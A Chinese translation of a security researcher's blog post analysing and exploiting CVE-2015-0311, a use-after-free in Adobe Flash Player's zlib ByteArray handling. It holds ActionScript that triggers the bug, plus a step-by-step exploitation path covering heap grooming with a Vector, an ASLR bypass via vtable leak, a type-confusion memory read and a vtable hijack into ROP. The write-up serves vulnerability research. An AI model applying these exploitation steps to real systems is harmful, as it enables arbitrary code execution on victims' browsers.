<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5446

            0x00 前言


            作者:Francisco Falcón

            題目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player

            地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/

            一月末,Adobe發布了Flash Player的APSA15-01安全公告,此公告修復了一個可影響FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被確認為CVE-2015-0311)。攻擊者通過誘使不知情用戶訪問一個包含有精心構造的惡意SWF Flash文件的網頁,可在具有該漏洞的用戶主機上執行任意代碼。

            該漏洞最早是作為一個被積極利用的零day在Angler Exploit Kit中被發現的。盡管利用代碼用SecureSWF混淆工具高度混淆過,利用該漏洞的惡意軟件樣本還是變得公開可用,因此我決定深入底層研究該漏洞,完成漏洞利用并將相關模塊寫到Core Impact Pro和Core Insight中。

            0x01 漏洞概覽


            當嘗試解壓縮用ActionScript中的zlib壓縮過的ByteArray中的數據時,底層的ActionScript虛擬機(AVM)會在ByteArray::UncompressViaZlibVariant方法中處理該操作。該方法利用ByteArray::Grower類來動態增加存放解壓縮數據的目標緩沖區的大小。

            當成功增加了目標緩沖區后,Grower類的析構函數就會通知所有的ByteArray(壓縮過的)的使用者必須使用增加后的緩沖區。全局屬性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一個使用者,該屬性可以被設置為一個給定ByteArray的全局引用。引入ApplicationDomain.currentDomain.domainMemory的目的是通過使用avm2.intrinsics.memory包的底層AVM指令(如li8/si8, li16/si16, li32/si32),實現對ByteArray中的實際數據的快速讀寫操作。

            當ByteArray中的數據不是合法的zlib壓縮數據時,zlib庫中的inflate()函數就會失敗,從而引出我們接下來要討論的一個問題。在執行失敗的情況下,ByteArray::UncompressViaZlibVariant() 方法會通過釋放掉增長的緩沖區并重置ByteArray的原始數據來執行回滾操作。

            然而問題是,該方法并不通知使用者(ApplicationDomain.currentDomain.domainMemory)增長的緩沖區已經被釋放掉,因此ApplicationDomain.currentDomain.domainMemory會繼續保有一個指向已釋放緩沖區的懸垂引用。

            0x02 根源分析


            讓我們到AVM虛擬機的源碼中看下,在AS代碼中調用ByteArray對象的uncompress()方法時到底會發生什么。

            當嘗試解壓縮ByteArray的數據時,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定義)會根據數據的壓縮算法調用一個相應的解壓縮函數。我們接下來重點看下zlib壓縮的情況。

            #!c++
            void ByteArray::Uncompress(CompressionAlgorithm algorithm)
            {
                switch (algorithm) {
                case k_lzma:
                    UncompressViaLzma();
                    break;
                case k_zlib:
                default:
                    UncompressViaZlibVariant(algorithm);
                    break;
                }
            

            ByteArray::UncompressViaZlibVariant()通過在循環中調用zlib庫中的inflate()函數,來分塊解壓縮ByteArray中的數據,如下面的代碼片段所示:

            #!c++
            void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm) 
            {
                    [...]
                    while (error == Z_OK)
                    {
                        stream.next_out = scratch;
                        stream.avail_out = kScratchSize;
                        error = inflate(&stream, Z_NO_FLUSH);
                        Write(scratch, kScratchSize - stream.avail_out);
                    }
            
                    inflateEnd(&stream);
                    [...]
            

            調用完zlib庫的inflate()函數后,ByteArray的Write()方法就將解壓縮后的塊數據寫入目的緩沖區中:

            #!c++
            void ByteArray::Write(const void* buffer, uint32_t count)
            {
                if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
                    ThrowMemoryError();
            
                uint32_t writeEnd = m_position + count;
            
                Grower grower(this, writeEnd);
                grower.EnsureWritableCapacity();
            
                move_or_copy(m_buffer->array + m_position, buffer, count);
                m_position += count;
                if (m_buffer->length < m_position)
                    m_buffer->length = m_position;
            }
            

            如上所示,該方法創建了Grower類的一個實例,然后通過調用實例的EnsureWritableCapacity()方法增加目標緩沖區的大小。Grower實例的范圍僅限ByteArray::Write()方法中局部調用,因此當Write()方法執行完后,Grower類的析構函數就會默認被立刻調用。

            下面是Grower類析構函數的部分代碼。它調用了ByteArray類的NotifySubscribers()方法:

            #!c++
            ByteArray::Grower::~Grower()
            {
                if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
            {
                m_owner->NotifySubscribers();
            }
            [...]
            

            ByteArray::NotifySubscribers()遍歷ByteArray的所有使用者,并調用使用者對象的notifyGlobalMemoryChanged()方法來通知它們新增加的緩沖區地址和大小的改變:

            #!c++
            voidByteArray::NotifySubscribers()
            {
                for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)      
                {             
                    AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
            
                    DomainEnv* subscriber = m_subscribers.get(i);
                    if (subscriber)
                    {
                        subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
                    }
                    else
                    {
                        // Domain went away? remove link
                        m_subscribers.removeAt(i);
                        --i;
                    }
                }
            }
            

            最后,DomainEnv::notifyGlobalMemoryChanged()方法會更新全局內存緩沖區的地址和大小。該方法真正改變ApplicationDomain.currentDomain.domainMemory的地址和大小:

            #!c++
            // memory changed so go through and update all reference to both the base
            // and the size of the global memory
            voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
            {
                AvmAssert(newBase != NULL); // real base address
                AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough
            
                m_globalMemoryBase = newBase;
                m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
                TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
            }
            

            在所有這些調用鏈完成后,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的循環中。如果循環中某個inflate()調用返回一個非0值,循環就會退出,同時會運行一個檢查來判斷數據有沒有被完全解壓縮。如果某處出錯,就會執行一個回滾操作:調用TellGcDeleteBufferMemory() / mmfx_delete_array() 來釋放掉新的內存,同時重置回原始ByteArray數據,如下所示:

            #!c++
            [...]
            if (error == Z_STREAM_END)
                {
                // everything is cool
                [...]
            else
                {
                    // When we error:
            
                    // 1) free the new buffer
            TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
            mmfx_delete_array(m_buffer->array);
            
            if (cShared) {
                           m_buffer = origBuffer;
                         }
            
                    // 2) put the original data back.
            m_buffer->array    = origData;
            m_buffer->length   = origLen;
            m_buffer->capacity = origCap;
            m_position         = origPos;
            SetCopyOnWriteOwner(origCopyOnWriteOwner);
            origBuffer = NULL; // release ref before throwing
            toplevel()->throwIOError(kCompressedDataError);
                }
            

            但是請注意:這里并沒有任何操作通知使用者新的緩沖區已經被釋放!因此,即使由于解壓縮操作失敗而導致新緩沖區被釋放,ApplicationDomain.currentDomain.domainMemory 還是會保留新緩沖區的一個引用。我們稍后會間接引用該懸垂指針,因此這是一個use-after-free(UAF)漏洞。

            0x03 觸發UAF


            可以通過以下步驟來重現產生懸垂指針的情況:先向ByteArray添加數據,再用zlib壓縮,然后在0x200偏移位置用垃圾數據覆蓋掉原來的壓縮數據,然后將此ByteArray指派給ApplicationDomain.currentDomain.domainMemory以創建ByteArray的使用者,最后調用ByteArray的uncompress()方法。

            為什么要從從0x200位置開始覆蓋壓縮數據呢?這是因為在ByteArray的開始位置保留一些合法的壓縮數據可以保證第一次對inflate()的調用成功;而且這樣ByteArray::Write()方法也會正常創建Grower類的實例,該實例會為保存解壓縮的數據增加目標緩沖區的長度,并通知所有的使用者可以使用新增長的緩沖區了。

            循環中,第二次調用“inflate()和Write()”時,inflate()函數會嘗試解壓縮我們構造的垃圾數據,因此一定會失敗。然后ByteArray::UncompressViaZlibVariant()就會執行回滾操作,釋放掉新增加的緩沖區,但同時卻不會通知ByteArray的所有使用者,所以就產生了懸垂指針。

            下面的ActionScript代碼片段可以重現該漏洞,使ApplicationDomain.currentDomain.domainMemory引用已釋放緩沖區:

            #!c++
            this.byte_array = new ByteArray();
            this.byte_array.endian = Endian.LITTLE_ENDIAN;
            this.byte_array.position = 0;
            /* Initialize the ByteArray with some data */
            while (count < 0x2000 / 4){
            this.byte_array.writeUnsignedInt(0xfeedface + count);
            count++;
            }
            
            /* Compress it with zlib */
            this.byte_array.compress();
            
            /* Overwrite the compressed data with junk, starting at offset 0x200 */
            this.byte_array.position = 0x200;
            while (pos < byte_array.length){
            this.byte_array.writeByte(pos);
            pos++;
            }
            
            /* Create a subscriber for that ByteArray */
            ApplicationDomain.currentDomain.domainMemory = this.byte_array;
            
            /* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
            pointing to a buffer that is freed when the decompression fails. */
            try{
            this.byte_array.uncompress();
            } catch(error:Error){
            }
            

            因此,就從這一點來說,我們已經令ApplicationDomain.currentDomain.domainMemory引用了已釋放的內存,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray類型的。我們嘗試使用它的一些高層方法時,雖然好像是在操作一個合法的ByteArray,但實際上其操作的數據是錯誤的壓縮數據。

            我們回過頭來再來看一下AVM虛擬機的源代碼,并回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全局內存緩沖區的地址和大小的:

            #!c++
            m_globalMemoryBase = newBase;
            m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;
            

            m_globalMemoryBase(懸垂指針自身)和m_globalMemorySize都是DomainEnv類(core/DomainEnv.h)的成員。這些成員通過Getter方法來訪問:

            #!c++
            REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
            REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }
            

            到AVM的源代碼中搜索下這兩個Getter方法,我們可以在core/Interpreter.cpp文件中找到:

            #!c++
            #define MOPS_LOAD_INT(addr, type, call, result) \
            MOPS_RANGE_CHECK(addr, type) \
            union { const uint8_t* p8; const type* p; }; \
            p8 = envDomain->globalMemoryBase() + (addr); \
            result = *p;
            
            #define MOPS_STORE_INT(addr, type, call, value) \
            MOPS_RANGE_CHECK(addr, type) \
            union { uint8_t* p8; type* p; }; \
            p8 = envDomain->globalMemoryBase() + (addr); \
            *p = (type)(value);
            

            這兩個宏也在同一個core/Interpreter.cpp文件中被使用:

            #!c++
            INSTR(li32) {
            i1 = AvmCore::integer(sp[0]);   // i1 = addr
            MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
            sp[0] = core->intToAtom(i32l);
            NEXT;
            }
            [...]
            INSTR(si32) {
            i32l = AvmCore::integer(sp[-1]);// i32l = value
            i1 = AvmCore::integer(sp[0]);   // i1 = addr
            MOPS_STORE_INT(i1, uint32_t, si32, i32l);
            sp -= 2;
            NEXT;
            }
            

            就是這樣!為了間接引用懸垂指針,我們需要使用avm2.intrinsics.memory包中的底層AVM指令,如 li8/si8, li16/si16, li32/si32等。這些指令,通過與ApplicationDomain.currentDomain.domainMemory的配合,能夠提供對包含有ByteArray實際數據的底層原始緩沖區的快速讀寫操作,而跳過使用ByteArray類高層方法的開銷。

            li8/si8, li16/si16, li32/si32等指令隱式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript代碼片段所示:

            #!c++
            /* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
            var some_value:uint = li32(0x20);
            
            /* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
            si32(0xffffffff, 0x20);
            

            0x04 漏洞利用


            為了達成對該漏洞的利用,在Web瀏覽器里調試含有該漏洞的Adobe Flash Player版本時,將需要在“inflate() and Write()”循環開始處設置斷點:

            第一次斷點被命中后,通過跟蹤ByteArray::Write()的調用直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二進制文件中的notifyGlobalMemoryChanged()方法:

            [EDX+0x14]保存了新緩沖區的地址,[EDX+0x18]則保存了新緩沖區的大小。

            在我的測試環境中,ApplicationDomain.currentDomain.domainMemory更新為下圖所示的值:緩沖區地址為0x0a98c000,緩沖區大小為0x1c32。

            第二次調用inflate()將會觸發失敗,失敗代碼為0xfffffffb,因此執行流進入回滾程序(命名為cleanup_on_uncompress_error的):

            步入該函數中,我們可以看到它是通過調用TellGcDeleteBufferMemory()來釋放緩沖區的:

            注意到TellGcDeleteBufferMemory()的參數是0x0a98c000 (緩沖區地址) 和0x200f。此處0x200f是緩沖區的容量,是與緩沖區長度不同的(長度是0x1C32,如上面的截屏所示)。從core/ByteArrayGlue.h文件中可以看到:

            #!c++
            class Buffer : public FixedHeapRCObject
            {
            public:
                virtual void destroy();
                virtual ~Buffer();
                uint8_t* array;
                uint32_t capacity;
                uint32_t length;
            };
            

            Buffer.capacity是緩沖區可容納的最大字節數(本例中為0x200f),而Buffer.length是實際使用的字節數(本例中為0x1C32),其不同之處就在于此。

            調用完TellGcDeleteBufferMemory()之后,它立即調用了mmfx_delete_array()來完成緩沖區的釋放操作。

            既然緩沖區已經釋放掉了,我們將在此緩沖區留下的內存“空洞”中分配一個有趣的對象。我使用了跟惡意樣本中一樣的方法來完成的,就是,創建一個新的占位ByteArray,其大小設為0x2000,然后通過調用其clear()方法釋放掉該對象,最后再創建一個Vector.<Object> (510*3)對象。

            這意味著,在這一點上,我們已經令ApplicationDomain.currentDomain.domainMemory(應該指向包含ByteArray真實數據的原始緩沖區)指向了一個Vector對象的起始處!因為我們可以通過利用像li32/si32這樣的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的內存中執行讀寫操作,我們就可以根據需要來讀和修改Vector對象,包括它的元數據!

            下圖展示了觸發bug后的期待狀態與實際狀態的不同,以及在緩沖區釋放造成的內存空洞中的Vector對象的分配情況:

            0x05 篡改Vector對象


            Vector對象的內存布局如下:

            $ ==> <Vector>   00010C00
            $+4              00001FE0
            $+8              08238000
            $+C              082FA248
            $+10             0793C000
            $+14             09B8E018       <pointer to 
            the_vector + 0x18 - useful if you need to obtain the address of the_vector>
            $+18             00000010
            $+1C             00000000
            $+20 .vtable     61199418        OFFSET <Flash32_.Vector_vtable>  -> Overwrite it to hijack the execution flow
            $+24 .length     000005FA       -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
            $+28 .elements[] 07A86BA1       the_vector[0]
            $+2C             07A86BA1       the_vector[1]
            $+30             07A86BA1       the_vector[2] 
            ...              xxxxxxxx       the_vector[n]
            

            通過執行li32(0x20) 我們可以讀取到Vector對象0x20偏移處的dword數據,這里是其虛函數表(vtable);而能讀到虛函數表的地址就足以確定Flash模塊的基地址,因此也就可以繞過ASLR。

            通過執行si32(0xffffffff,0x24),我們可以覆蓋掉保存在Vector對象0x24偏移處的dword數據,該數據是對象的長度。設置這樣新的長度(0xffffffff)將允許我們在需要時讀/寫瀏覽器進程空間中任意內存地址的數據---|||---|||其實在Windows 7 SP1下完成漏洞利用并不需要修改Vector的長度。

            然后我們以ByteArray的形式構造ROP鏈,并將其保存為Vector的第一個element(不覆蓋任何元數據)。

            這個包含了我們構造的ROP鏈的ByteArray對象被存儲為一個tagged pointer,那什么是tagged pointer呢?為增加指針所能存儲的信息,Flash用指針的最后三個沒有什么意義的bit來表示其自身的類型信息(摘自Haifei Li’s presentation from CanSecWest 2011),這種修改后的指針就是tagged pointer:

            Untagged    = 000 (0)
            Object      = 001 (1)
            String      = 010 (2)
            Namespace   = 011 (3)
            "undefined" = 100 (4)
            Boolean     = 101 (5)
            Integer     = 110 (6)
            Number      = 111 (7)
            

            現在可以通過執行li32(0x28)來泄露出我們構造的ROP鏈(ByteArray對象)的地址---|||也就是執行一個原始的讀操作,來讀取Vector的第一個element,然后將讀取到的tagged pointer再通過“address & 0xfffffff8”這樣的按位與操作untag掉。

            已經得到泄露出的ROP鏈(ByteArray對象)的指針后,我們接下來再去讀取ByteArray對象0x40偏移處存放的DWORD數據,此處的DWORD是指向一個ByteArray::Buffer對象的指針。下面是所引用ByteArray對象的內存布局:

            $ ==> <ByteArray>   71078F10  OFFSET <Flash32_.ByteArray_vtable>
            $+4                 00000002
            $+8                 069CFDD0
            $+C                 0697E628
            $+10                06831360
            $+14                00000040
            $+18                71078EB8  Flash32_.71078EB8
            $+1C                71078EC0  Flash32_.71078EC0
            $+20                71078EB4  Flash32_.71078EB4
            $+24                710BD534  Flash32_.710BD534
            $+28                06603080
            $+2C                06432000
            $+30                0688EFB8
            $+34                00000000
            $+38                00000000
            $+3C                7108ACC8  Flash32_.7108ACC8
            $+40                0686D5D8  <pointer to ByteArray::Buffer>
            $+44                00000000
            

            為讀到存儲在ByteArray對象0x40偏移處的dword,我決定使用Vupen的Nocolas Joly提出的一種利用技術,該技術通過修改(tagging)一個指針以使其按照Number(IEEE-754 double precision)類型來解析,從而產生一個類型混亂,該類型混亂會為我們提供一個默認基本數據類型,通過它可以讀取任意地址的8字節數據。大概過程如下:

            首先我們把我們將想要讀取數據的地址修改為一個Number對象指針(將地址按位或上7--見上面的類型對應表),這樣我們就成功地創建了一個類型混亂;然后我們通過執行si32(fake_number_object,0x2c)指令,將此指向Number對象的偽造指針存放到Vector的element[]數組中。

            之后,我們讀取偽造的Number對象(下方代碼中的this.the_vector1)的值,并將其寫入到一個備用ByteArray中;通過這種方法,我們想要讀取的地址中的8個字節的數據就被存放到備用ByteArray中了。

            #!c++
            obj = this.the_vector[1];
            z = new Number(obj);
            
            var b:ByteArray = new ByteArray();
            b.endian = Endian.LITTLE_ENDIAN;
            b.writeDouble(z);
            
            /* If pointer is aligned to 8, then we read the first dword */
            if ((pointer & 7) == 0){
                result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
            }
            /* else we read the second dword */
            else{
                result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
            }
            return result;
            

            我們使用Number基本類型已經能夠讀取ByteArray對象0x40偏移處的dword數據,我之前提到過,該dword是指向ByteArray::Buffer的指針,然后我們可以再次使用該基本類型來讀取到ByteArray::Buffer對象0x8偏移處的dword值,該dword值正是指向我們ROP鏈原始數據的指針。如下是ByteArray::Buffer對象的內存布局情況:

            $==> <Buffer>     63D1945C  OFFSET <Flash32_.Buffer_vtable>
            $+4               00000003
            $+8  .array       06BC5000  <pointer to the raw data of the ByteArray>
            $+C  .capacity    0000200F
            $+10 .length      00001C32
            

            這樣我們就獲取到了ROP鏈的地址(該例子中為0x06BC5000);現在我們只需執行si32(address_of_rop_chain, 0x20)指令,將Vector對象的虛函數表覆蓋為我們的ROP鏈,然后再調用Vector對象的toString()方法,此時被覆蓋掉的虛函數表就會被間接引用以調用相應函數指針,而我們也就將執行流程劫持到了我們自己的ROP中,并最終完成任意代碼執行:

            new Number(this.the_vector.toString());
            

            0x06 結論


            本文中的UAF漏洞可以被用來讀取及修改瀏覽器進程空間中的任意地址數據,允許攻擊者繞過操作系統的保護策略如ASLR和DEP,并最終導致任意代碼執行。

            然而,你應該注意到本篇博文中描述的利用方法只適用于Windows 7 SP1,不適用于Windows 8.1 Update 3(發布于2014年11月)。為什么呢?在Windows 8 Update 3中,微軟引入了一種新的緩解漏洞攻擊利用的CFG(Control Flow Guard)機制。CFG在所有非直接調用前都插入了一次檢查,以驗證調用的目的地址是否是編譯時被標記為“安全”的位置。運行時插入的驗證失敗,程序就檢測到了破壞正常執行流的嘗試并立即自動退出。

            而Windows 8.1 Update 3中集成的Flash版本在編譯時已啟動了CFG機制,因此在攻擊利用的最后步驟中,也就是我們嘗試將Vector對象的虛函數表覆蓋,并調用toString()方法以修改執行流程時,CFG檢查函數就會檢測到我們的偽造虛函數表,并立即結束進程,從而阻止了我們的攻擊嘗試。

            這意味著Windows 8.1 Update 3中的Flash漏洞利用引入了新的障礙:CFG保護的繞過。

            劇透提醒:我們還是設法繞過了CFG,并在Windows 8.1 Update 3中成功實現了該Flash漏洞的利用。因此請期待下一篇博文,我們將在其中詳細解釋是如何做到繞過CFG并實現漏洞利用的!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线